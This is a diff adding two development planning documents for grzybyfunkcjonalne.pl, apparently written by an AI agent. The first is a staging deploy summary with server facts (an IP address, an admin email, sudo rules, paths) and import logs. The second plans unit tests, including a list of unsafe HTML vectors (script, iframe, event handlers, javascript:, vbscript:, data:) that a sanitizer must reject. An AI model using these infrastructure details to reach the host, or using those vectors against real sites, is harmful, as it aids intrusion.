- "staging at https://uat.grzybyfunkcjonalne.pl on the PHP server: grzybyfunkcjonalne-go (127.0.0.1:8096) and grzybyfunkcjonalne-nuxt (127.0.0.1:3016) behind one vhost, UAT basic auth with a loopback bypass"
|
||||
- "Postgres database grzybyfunkcjonalne migrated and imported once: 104 posts (62 published), 7 categories, 35 media files, 95 featured images, author /autor/admin"
|
||||
- "DEPLOY.md in the host repo (server facts, prerequisites, build and upload, first install, migration runbook, smoke, release, rollback, production cutover)"
|
||||
- "migrate.sh --skip; media copied with readable modes; fileblob bucket with no_tmp_dir=true"
|
||||
affects: [16-05, production cutover of grzybyfunkcjonalne.pl]
|
||||
|
||||
actuals:
|
||||
tokens: 4541 # chars/4 over the added lines of the host diff 8f7f2de..c797ab9 (9 files)
|
||||
tasks: 3
|
||||
commits: 5 # MEASURED in sm-grzybyfunkcjonalne-app: git rev-list --count 8f7f2de..HEAD
|
||||
commits: 5
|
||||
plan_head_before: 8f7f2de7650d9946970bc50e84cc9cc632057059 # sm-grzybyfunkcjonalne-app
|
||||
plan_head_after: c797ab9d23e0a9e5d6862811560ab4c832a3c57c # sm-grzybyfunkcjonalne-app, pushed to origin/master
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "UAT gate as an nginx geo realm: basic auth for everyone, off for 127.0.0.1/::1, so on-server checks need no credentials"
|
||||
- "Remote checks run on the server with CURL_HOME/.curlrc 'resolve = host:443:127.0.0.1' so smoke.sh --url goes through the real vhost and TLS"
|
||||
- "Server-side files installed into /etc by the operator from uploaded copies in /srv/<app>/deploy/, verified by sha256 against the repo"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/config/storage.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
|
||||
- .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
|
||||
|
||||
key-decisions:
|
||||
- "Staging keeps the server's UAT basic-auth gate (/etc/nginx/.g15), off only for loopback through a geo realm; it is not public. Smoke and curl checks run on the server"
|
||||
- "Staging host is uat.grzybyfunkcjonalne.pl (the server's existing UAT naming), not staging.grzybyfunkcjonalne.pl"
|
||||
- "first-journal-post is left out of the staging import (migrate.sh --skip), so Go serves the 62 posts the live sitemap lists"
|
||||
- "The fileblob uploads bucket uses no_tmp_dir=true, because /tmp on the server is tmpfs and the rename across filesystems fails"
|
||||
- "Install root and .env files belong to the single deploy/service user grzybyfunkcjonalne (0600), because the executor has no root; the operator installed the vhost and supervisor programs into /etc"
|
||||
|
||||
patterns-established:
|
||||
- "DEPLOY.md per host app, with the on-server smoke recipe for basic-auth-gated staging"
|
||||
|
||||
requirements-completed: [SC-1, SC-3]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Both supervisor programs RUNNING; the imported post /blog/blogbadania-nad-cordycepsem answers over HTTPS with its title from Nuxt, and the Journal API returns featured_image_url (D-18, SC-1)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 2 verify on the server via loopback: check-deploy ok, 2 RUNNING, title grep, featured_image_url grep -> staging-tracer-ok"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Every urls.txt line passes on staging: all 71 live sitemap URLs (re-pulled 2026-10-09, unchanged), pagination, static pages, negative cases and the remote storage lines (D-15, SC-3)"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: e2e
|
||||
ref: "CURL_HOME=<resolve to 127.0.0.1> scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl (on the server) -> smoke: ok (98 urls)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "A featured image and a media file referenced by a post body answer 200 with an image content type and nosniff; /gfadmin 200, /backend 404; no Google Tag Manager; robots.txt Disallow: / (D-09, D-17, D-22, D-23)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "on-server checks: 661e483fa0e06765454515.webp 200 image/webp nosniff; Artur%20Wolak.png 200 image/png nosniff; las.webp 200 image/webp nosniff; /gfadmin 200; /backend 404; homepage without googletagmanager; robots disallow-all"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "The live Winter vhost is unchanged and only new files were installed (D-10)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: manual_procedural
|
||||
ref: "sha256 of /etc/nginx/sites-available/grzybyfunkcjonalne.pl = 37f9858c...7d77 before and after, mtime 2026-08-16; installed vhost and supervisor files equal the uploaded repo copies"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Staging reads like the live site: refreshed design, complete Polish copy, featured images and inline media on /, /blog, /blog?page=2, a post, /cordyceps, /amanita-muscaria, /kontakt and /autor/admin"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Visual and copy comparison against the live site needs a human with the UAT credentials; the Task 3 human-check has not been answered yet"
|
||||
|
||||
duration: 40min
|
||||
completed: 2026-10-09
|
||||
---
|
||||
|
||||
# Phase 16 Plan 04: Staging deploy on the PHP server Summary
|
||||
|
||||
**grzybyfunkcjonalne.pl runs on staging at https://uat.grzybyfunkcjonalne.pl: the Go Journal host and the Nuxt SSR server sit behind a basic-auth vhost on the PHP site's server, serving 62 imported posts with their featured images and media. Every one of the 98 URL checks passes on the server, and DEPLOY.md documents the deploy and the rollback.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 40 min. That includes the operator checkpoint between Task 2a/2b and the resume; the resumed part ran from 17:31Z to 17:55Z.
|
||||
- **Started:** 2026-10-09T17:14:27Z
|
||||
- **Completed:** 2026-10-09T17:55:00Z
|
||||
- **Tasks:** 3 (Task 1 resolved by the orchestrator and operator; Tasks 2 and 3 executed)
|
||||
- **Files modified:** 9 in the host repo, plus deferred-items.md
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- The migration runbook ran once into the fresh staging database (D-25 order):
|
||||
- 104 posts imported, 62 of them published.
|
||||
- pl is the only default locale.
|
||||
- 7 categories filled.
|
||||
- The PHP media library copied (35 files).
|
||||
- 95 featured images attached under their Winter disk names.
|
||||
- Every post is assigned to `info@golem15.com` with the author slug `admin`.
|
||||
- nginx -t passed before the reload. Both supervisor programs are RUNNING, and the tracer post renders over HTTPS.
|
||||
- `smoke.sh --url` passes all 98 urls.txt lines. The live sitemap, re-pulled today, is unchanged (71 URLs, all covered).
|
||||
- Images:
|
||||
- The featured image and the media files answer 200 with an image type and nosniff.
|
||||
- Admin:
|
||||
- `/gfadmin` answers 200 (the SummerCMS admin shell).
|
||||
- `/backend` answers 404.
|
||||
- Search and analytics:
|
||||
- Staging loads no analytics.
|
||||
- robots.txt is `Disallow: /`.
|
||||
- From outside, without credentials, the public address answers 401.
|
||||
- DEPLOY.md is written and README points to it. The host repo is pushed to origin/master (c797ab9).
|
||||
|
||||
## Server facts
|
||||
|
||||
| What | Value |
|
||||
|------|-------|
|
||||
| SSH alias | `grzybyfunkcjonalne-uat` (user `grzybyfunkcjonalne`, host `alexandria`, 51.77.52.21) |
|
||||
| Staging URL | `https://uat.grzybyfunkcjonalne.pl` (Cloudflare A record, not proxied; LE ECDSA cert `/etc/letsencrypt/live/uat.grzybyfunkcjonalne.pl/`, expires 2027-01-07) |
|
||||
| nginx | 1.26.3 (`http2 on;`), user www-data. No options-ssl-nginx.conf or ssl-dhparams.pem on the server, so `ssl_protocols` is set inline. ACME webroot `/srv/http/uat.grzybyfunkcjonalne.pl` |
|
||||
| Vhost | `/etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl` = repo `deploy/nginx/grzybyfunkcjonalne-staging.conf` (sha256 150f1ef6…2f0c). The placeholder it replaced is backed up at `/root/uat.grzybyfunkcjonalne.pl.placeholder-20261009` |
|
||||
| Supervisor | `/etc/supervisor/conf.d/grzybyfunkcjonalne-go.conf` (d1b674d2…94d6) and `grzybyfunkcjonalne-nuxt.conf` (31f5ed46…22f0c), equal to the repo |
|
||||
| Ports | Go 127.0.0.1:8096, Nuxt 127.0.0.1:3016 |
|
||||
| Node | `/var/www/.nvm/versions/node/v22.22.0/bin/node` (not on the non-interactive PATH) |
|
||||
| PostgreSQL | 17.11, 127.0.0.1:5432, role/db `grzybyfunkcjonalne`, ICU pl-PL |
|
||||
| DSN | `postgres://grzybyfunkcjonalne:<password>@127.0.0.1:5432/grzybyfunkcjonalne?sslmode=disable` |
|
||||
| Install root | `/srv/grzybyfunkcjonalne/{go,nuxt,import,deploy}`, owner grzybyfunkcjonalne. Binary sha256 94116f4a…68ea, built from summercms.go 296b9cd |
|
||||
| .env files | `/srv/grzybyfunkcjonalne/go/.env` and `nuxt/.env`, owner grzybyfunkcjonalne, mode 0600. Secrets were generated on the server and never printed. `NUXT_SITE_INDEXABLE=false`, `NUXT_PUBLIC_GA_ID` empty |
|
||||
| sudo | `/usr/sbin/nginx -t`, `nginx -s reload`, `systemctl reload nginx`, `supervisorctl *` |
|
||||
| PHP storage | uploads `/srv/http/grzybyfunkcjonalne.pl/storage/app/uploads/public` (1082 files), media `/srv/http/grzybyfunkcjonalne.pl/storage/app/media` (35) |
|
||||
| PHP database | MySQL `grzyby`. Morph types `Golem15\Journal\Models\Post` and `Golem15\Journal\Models\Category`. Translate tables `winter_translate_*`. system_files: 95 post featured_images, 7 category featured_image |
|
||||
| Import maps | `/srv/grzybyfunkcjonalne/import/featured-images.jsonl` (95), `categories.jsonl` (7); journal export `import/journal-export/` (105 files) |
|
||||
| Admin | `info@golem15.com`, superuser, created by the operator with the password on stdin from a file outside the deploy (never read or stored by the executor) |
|
||||
| /tmp | tmpfs, a separate filesystem from `/` |
|
||||
| Live Winter vhost | `/etc/nginx/sites-available/grzybyfunkcjonalne.pl` sha256 37f9858c…7d77 and mtime 2026-08-16, unchanged after the deploy |
|
||||
|
||||
**Files touched on the server.** The executor wrote only under `/srv/grzybyfunkcjonalne`. The operator, as root, installed the vhost, its `sites-enabled` symlink and the two supervisor programs as new files, and backed up the placeholder vhost. The executor's sudo use was `nginx -t`, `systemctl reload nginx` and `supervisorctl reread/update/status`.
|
||||
|
||||
## Runbook output (Task 2)
|
||||
|
||||
The first run of `scripts/migrate.sh`, with the flags from DEPLOY.md including `--skip first-journal-post`:
|
||||
|
||||
```
|
||||
migrate: migrate
|
||||
✓ migrations applied
|
||||
migrate: make pl the default locale
|
||||
migrate: export: 4 files had translations [] (imported as {})
|
||||
migrate: export: 1 files skipped (--skip first-journal-post)
|
||||
migrate: journal:import-posts --dry-run (grzyby:import-posts)
|
||||
ℹ Results: 104 created, 0 updated, 0 skipped, 0 failed
|
||||
migrate: journal:import-posts (grzyby:import-posts)
|
||||
ℹ Results: 104 created, 0 updated, 0 skipped, 0 failed
|
||||
migrate: grzyby:import-categories --map /srv/grzybyfunkcjonalne/import/categories.jsonl
|
||||
ℹ Results: 7 updated, 0 unchanged, 0 failed (cordyceps, chaga, reishi, amanita-muscaria, turkey-tail, shiitake, lions-mane)
|
||||
migrate: rsync media -> /srv/grzybyfunkcjonalne/go/storage/app/media/
|
||||
migrate: grzyby:import-featured-images ...
|
||||
grzyby: write 660/cfe/44a/660cfe44a36c0821793311.webp: ... rename /tmp/....tmp /srv/grzybyfunkcjonalne/go/storage/app/uploads/public/...: invalid cross-device link
|
||||
EXIT=1
|
||||
```
|
||||
|
||||
After the fix (6ef012e), steps 7 to 9 ran with the same commands and the same normalized export copy:
|
||||
|
||||
```
|
||||
ℹ Results: 95 created, 0 skipped, 0 failed
|
||||
migrate: assign unassigned posts to info@golem15.com (/autor/admin)
|
||||
migrate: gap: 1 export files reference https://gf.uat.golem15.com/storage/ (broken images, not patched)
|
||||
wprowadzenie-do-grzyba-cordyceps
|
||||
migrate: gap: 0 imported post bodies still reference https://gf.uat.golem15.com/storage/
|
||||
migrate: gap: 0 published posts have no featured image
|
||||
migrate: published posts: 62
|
||||
migrate: ok (resumed at step 7)
|
||||
```
|
||||
|
||||
**Gap report:**
|
||||
|
||||
- 1 export file has old UAT-host image references, only in its base text.
|
||||
- 0 imported bodies are affected.
|
||||
- 0 published posts lack a featured image.
|
||||
|
||||
## Smoke and checks (Task 3)
|
||||
|
||||
- The live sitemap was re-pulled on 2026-10-09: 71 `<loc>`, all present as `200` lines in urls.txt. urls.txt is unchanged, so there is no test commit.
|
||||
- `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl`, run on the server through the loopback bypass: `smoke: ok (98 urls)`. The first run failed one line, `remote 200 /storage/app/media/las.webp` → 403; see deviation 3.
|
||||
- Featured image `/storage/app/uploads/public/661/e48/3fa/661e483fa0e06765454515.webp`: 200, image/webp, nosniff.
|
||||
- Media referenced by the body of `ekstrakt-z-turkey-tail`, `/storage/app/media/Artur%20Wolak.png`: 200, image/png, nosniff. `las.webp`: 200, image/webp, nosniff.
|
||||
- `/gfadmin`: 200 text/html (`<title>SummerCMS</title>`). Not logged in, as instructed. `/backend`: 404.
|
||||
- Homepage: no googletagmanager. robots.txt: `User-agent: *` / `Disallow: /` (nuxt-robots, indexing disabled).
|
||||
- API `meta.total`: 62.
|
||||
- Without the bypass, the public address answers 401.
|
||||
|
||||
**Human-check: pending.** Nobody has answered "staging approved" or reported issues yet. The visual comparison with the live site, made with the UAT credentials, is left for `/msd-verify-work` (coverage D5). The admin-password part of the original human-check no longer applies (operator note).
|
||||
|
||||
## Task Commits
|
||||
|
||||
All of them are in `sm-grzybyfunkcjonalne-app` and pushed to origin/master:
|
||||
|
||||
1. **Task 1: Server prerequisites**: no commit (resolved by the orchestrator and the operator).
|
||||
2. **Task 2: deploy and runbook (tracer)**:
|
||||
- `b488fdd` (chore): match staging deploy files to the server.
|
||||
- `97cfd31` (feat): migrate.sh --skip for export posts absent from the live site.
|
||||
- `6ef012e` (fix): fileblob temp files next to the upload, not in /tmp.
|
||||
3. **Task 3: smoke, images and DEPLOY.md**:
|
||||
- `faae3c0` (fix): media copy gets readable modes, not the PHP dir's 0776.
|
||||
- `c797ab9` (docs): staging deploy guide.
|
||||
|
||||
**Plan metadata:** see the docs(16-04) commit in summercms.go.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: server facts, prerequisites, build and upload, first install, migration runbook, start, smoke (on-server recipe), release, rollback, the admin re-save warning, production cutover.
|
||||
- `../sm-grzybyfunkcjonalne-app/README.md`: points to DEPLOY.md; the `--url` example now uses the uat host.
|
||||
- `../sm-grzybyfunkcjonalne-app/config/storage.yaml`: `?no_tmp_dir=true` on the uploads bucket.
|
||||
- `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`: `--skip NAME`; media rsync with `--chmod=Dug=rwx,Do=rx,Fug=rw,Fo=r`.
|
||||
- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`: uat host, certificate and webroot, `http2 on`, UAT basic auth with the loopback geo bypass, auth off on the ACME path, dotfiles 404.
|
||||
- `../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf`: absolute nvm Node path.
|
||||
- `../sm-grzybyfunkcjonalne-app/deploy/env.example` and `deploy/nuxt.env.example`: uat origin; owner is the service user, mode 0600.
|
||||
- `../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh`: follows the new host, webroot and log paths.
|
||||
- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md`: 16-03 items resolved; new 16-04 items.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Basic-auth gate kept** (operator decision with the "installed" reply). Staging is not public. The geo realm turns auth off for 127.0.0.1 and ::1 only, so smoke and curl checks run on the server. The ACME webroot location has `auth_basic off`, so renewals keep working. Production drops the gate.
|
||||
- **Host name `uat.grzybyfunkcjonalne.pl`.** It follows the server's existing UAT convention and its existing certificate.
|
||||
- **`--skip first-journal-post`.** This resolves the 16-03 deferred item for staging: Go serves the same 62 posts the live sitemap lists.
|
||||
- **No database drop after the featured-image failure.** Steps 1 to 6 had succeeded, the featured-image import is idempotent, and the failed write left no row behind (the resumed run reported 95 created, 0 skipped). Running steps 7 to 9 with the identical commands gives the same end state as a fresh full run, without root access to drop and recreate the database.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Featured-image import failed with "invalid cross-device link"**
|
||||
- **Found during:** Task 2 (runbook, step 7).
|
||||
- **Issue:** gocloud's fileblob writes temp files to `os.TempDir()` and renames them into the bucket. `/tmp` on the server is tmpfs, so the rename fails. Admin uploads would fail the same way.
|
||||
- **Fix:** set `bucket_url: "file://./storage/app/uploads/public?no_tmp_dir=true"` in the host config, upload it, and run steps 7 to 9 with the same commands.
|
||||
- **Files modified:** `../sm-grzybyfunkcjonalne-app/config/storage.yaml`
|
||||
- **Verification:** 95 created, 0 failed; the featured images answer 200 on staging.
|
||||
- **Committed in:** 6ef012e
|
||||
- **Follow-up:** a framework default in `modules/lagoon/attach`, logged in deferred-items.md and not touched here (another session owns `modules/`).
|
||||
|
||||
**2. [Rule 3 - Blocking] Runbook resumed at step 7 instead of drop-and-rerun**
|
||||
- **Found during:** Task 2.
|
||||
- **Issue:** The plan says a failed run means dropping and recreating the database. The executor has no root or CREATEDB rights for that.
|
||||
- **Fix:** a one-off script ran migrate.sh steps 7 to 9 verbatim (same normalized and skipped export copy, same SQL, same gap report). The script was removed from the server afterwards.
|
||||
- **Verification:** 95 featured images, 0 published posts without an image, 62 published.
|
||||
- **Committed in:** none (operational step); documented in DEPLOY.md.
|
||||
|
||||
**3. [Rule 1 - Bug] Media images answered 403**
|
||||
- **Found during:** Task 3 (smoke: `remote 200 /storage/app/media/las.webp` got 403).
|
||||
- **Issue:** `rsync -a` kept the PHP media directory's mode 0776, which www-data cannot traverse.
|
||||
- **Fix:** the migrate.sh media step now sets modes with `--chmod=Dug=rwx,Do=rx,Fug=rw,Fo=r`. The uploaded script was used to re-sync the media on the server (idempotent; the PHP directory was only read).
|
||||
- **Files modified:** `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`
|
||||
- **Verification:** smoke `ok (98 urls)`; las.webp and Artur Wolak.png answer 200 image/* with nosniff.
|
||||
- **Committed in:** faae3c0
|
||||
|
||||
**4. [Operator decision] Verify commands run on the server**
|
||||
- **Issue:** The plan's verify commands curl `$STAGING_URL` from the executor's machine. Because of the kept UAT gate, they answer 401 there.
|
||||
- **Fix:** run on the server with curl resolving the host to 127.0.0.1, which exercises the real vhost and TLS. The recipe is in DEPLOY.md, "Smoke".
|
||||
|
||||
**5. [Server constraint] .env owner and mode**
|
||||
- **Issue:** The plan asks for `root:grzybyfunkcjonalne 0640`. The executor has no root.
|
||||
- **Fix:** the files belong to the single deploy and service user, mode 0600, as recorded in b488fdd and in the env templates.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:**
|
||||
|
||||
- 3 auto-fixed: 2 blocking, 1 bug.
|
||||
- 2 adaptations to server constraints and operator decisions.
|
||||
|
||||
**Impact on plan:** The fixes were needed to serve images on this server. No scope creep, and the live site was not modified.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- `scripts/smoke.sh --go-only` could not run locally to pre-check the storage change: there is no Docker socket access and `SMOKE_ADMIN_DSN` is not set. The server run was the verification.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None beyond what the operator already did. The pending human visual check is tracked under coverage D5.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Staging serves the site end to end, so SC-1 is met on staging (D-18) and SC-3 is proven against every live URL. Plan 16-05 (unit tests) can proceed.
|
||||
- Before the production cutover:
|
||||
- the human visual approval;
|
||||
- the deferred items (`journal-imported-html-admin-resave`, the cta.png size);
|
||||
- the steps in DEPLOY.md, "Production cutover".
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: FOUND.
|
||||
- `../sm-grzybyfunkcjonalne-app/config/storage.yaml`: FOUND.
|
||||
- `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`: FOUND.
|
||||
- Commits b488fdd, 97cfd31, 6ef012e, faae3c0 and c797ab9: FOUND in sm-grzybyfunkcjonalne-app and on origin/master.
|
||||
|
||||
---
|
||||
*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
|
||||
*Completed: 2026-10-09*
|
||||
@@ -0,0 +1,278 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 05
|
||||
type: execute
|
||||
wave: 5
|
||||
depends_on: ["16-04"]
|
||||
files_modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../vue-journal-layer/tests/routes.test.ts
|
||||
- ../vue-journal-layer/tests/client.test.ts
|
||||
- ../vue-journal-layer/tests/pagination.test.ts
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
- ../vue-journal-layer/tests/sitemap.test.ts
|
||||
- ../vue-journal-layer/tests/seo.test.ts
|
||||
- ../vue-journal-layer/tests/i18n.test.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/boot_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/export/badania-nad-cordycepsem.json
|
||||
- scripts/check-phase16.sh
|
||||
- .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md
|
||||
autonomous: true
|
||||
requirements: [SC-4]
|
||||
user_setup:
|
||||
- service: local PostgreSQL (Go integration tests)
|
||||
why: "Docker is not usable for this user; the grzyby console integration tests need a Postgres >= 15 with ICU through an admin DSN, or Docker for testcontainers"
|
||||
env_vars:
|
||||
- name: GRZYBY_TEST_ADMIN_DSN
|
||||
source: "Same kind of DSN as SMOKE_ADMIN_DSN (maintenance database, role with CREATEDB); may be the same value"
|
||||
estimate:
|
||||
tokens: 120000
|
||||
raw_tokens: 120000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "SC-4 / CLAUDE.md rule 3: every piece of new phase code has unit tests in this last plan: layer utils (node --test), the site app (node --test, including an SSR test of the built server against the fixture API) and the app-local Go commands (go test)."
|
||||
- "D-15: the SSR test asserts the status of every PHP URL form on the built app, including static routes beating /:category (RESEARCH A2) and real 404s for unknown roots, /404, /error and out-of-range or non-numeric pages (A5)."
|
||||
- "D-16: the SSR test asserts /en and /en/blog answer 404 and pl strings render without a prefix."
|
||||
- "D-23: the SSR test asserts no analytics without NUXT_PUBLIC_GA_ID, gtag for G-MLSV7WJ6W4 with it, and no script for a malformed id."
|
||||
- "D-06/D-13/D-24: layer unit tests cover route normalization, sitemap entries built from journal.routes, include_empty=1 on every categories request and canonical page titles."
|
||||
- "T-16-01: htmlGate tests mirror the Go TestFormatHTMLRejectsUnsafeHTML cases (script, iframe, event handler, javascript:, vbscript:, data:) and the SSR test proves an unsafe fixture body renders the blocked notice."
|
||||
- "D-22: Go tests prove grzyby:import-featured-images writes the blob at attach.BlobKey(disk_name) and the system_files row, is idempotent, resolves base slugs through the export, and refuses traversal disk names (T-16-12)."
|
||||
- "D-21: Go tests prove grzyby:import-categories prefers pl values, writes the content field, and reports unchanged on a re-run."
|
||||
- "D-09: the boot test asserts backend.uri resolves to /gfadmin, admin routes live under /gfadmin/ and none under /backend (T-16-10)."
|
||||
- "Pure tests never touch the network or a database; DB tests use only throwaway databases they create (T-16-23) and fail, not skip, when no database is available outside -short."
|
||||
- "go vet and go test stay green in every Go repo touched; scripts/check-phase16.sh --all ends with Phase 16 gate passed."
|
||||
artifacts:
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts"
|
||||
provides: "SSR test of the built server against the fixture API"
|
||||
contains: "startNuxtServer"
|
||||
- path: "../vue-journal-layer/tests/htmlGate.test.ts"
|
||||
provides: "Go-parity cases for the HTML gate"
|
||||
contains: "vbscript"
|
||||
- path: "../vue-journal-layer/tests/routes.test.ts"
|
||||
provides: "journal.routes normalization and path filling"
|
||||
contains: "normalizeJournalRoutes"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go"
|
||||
provides: "D-22 command tests"
|
||||
contains: "TestImportFeaturedImages"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go"
|
||||
provides: "D-21 command tests"
|
||||
contains: "TestImportCategories"
|
||||
- path: "scripts/check-phase16.sh"
|
||||
provides: "fail-closed phase gate across the three repos"
|
||||
contains: "Phase 16 gate passed"
|
||||
key_links:
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts"
|
||||
to: "../vue-journal-layer/testing/fixture-api.mjs and nuxt-server.mjs"
|
||||
via: "imported from node_modules/vue-journal-layer/testing (plain .mjs, no type stripping needed)"
|
||||
pattern: "vue-journal-layer/testing"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go"
|
||||
to: "Postgres (GRZYBY_TEST_ADMIN_DSN or testcontainers)"
|
||||
via: "creates grzyby_test_<random> with ICU pl-PL, migrates translate, journal and attach tables, drops it on exit"
|
||||
pattern: "GRZYBY_TEST_ADMIN_DSN"
|
||||
- from: "scripts/check-phase16.sh"
|
||||
to: "layer, app and host test commands"
|
||||
via: "fails on FAIL, SKIP, no tests to run, not ok, or a missing named PASS line"
|
||||
pattern: "no tests to run"
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
|
||||
|
||||
MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
|
||||
|
||||
This plan's slice: one SSR test boots the built site against the fixture API and proves the URL map end to end; then unit tests cover every layer util, the app utils and the Go commands, and one gate script runs them all.
|
||||
|
||||
<objective>
|
||||
Deliver full unit test coverage for Phase 16 code as the phase's last plan (CLAUDE.md rule 3, SC-4): the built site (SSR), the layer utils, the app utils and content, the app-local Go commands and the host boot, plus a fail-closed phase gate and the validation sign-off.
|
||||
|
||||
Purpose: SC-4.
|
||||
Output: test files in the three repos, `scripts/check-phase16.sh`, an updated 16-VALIDATION.md.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-SUMMARY.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-SUMMARY.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md
|
||||
@../sm-summercmsio-app/vue-summercmsio-app/tests/scrollSpy.test.ts
|
||||
@../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts
|
||||
@../sm-journal-plugin/admin_harness_test.go
|
||||
@../sm-journal-plugin/classes/format_html_test.go
|
||||
@scripts/check-phase15.sh
|
||||
</context>
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
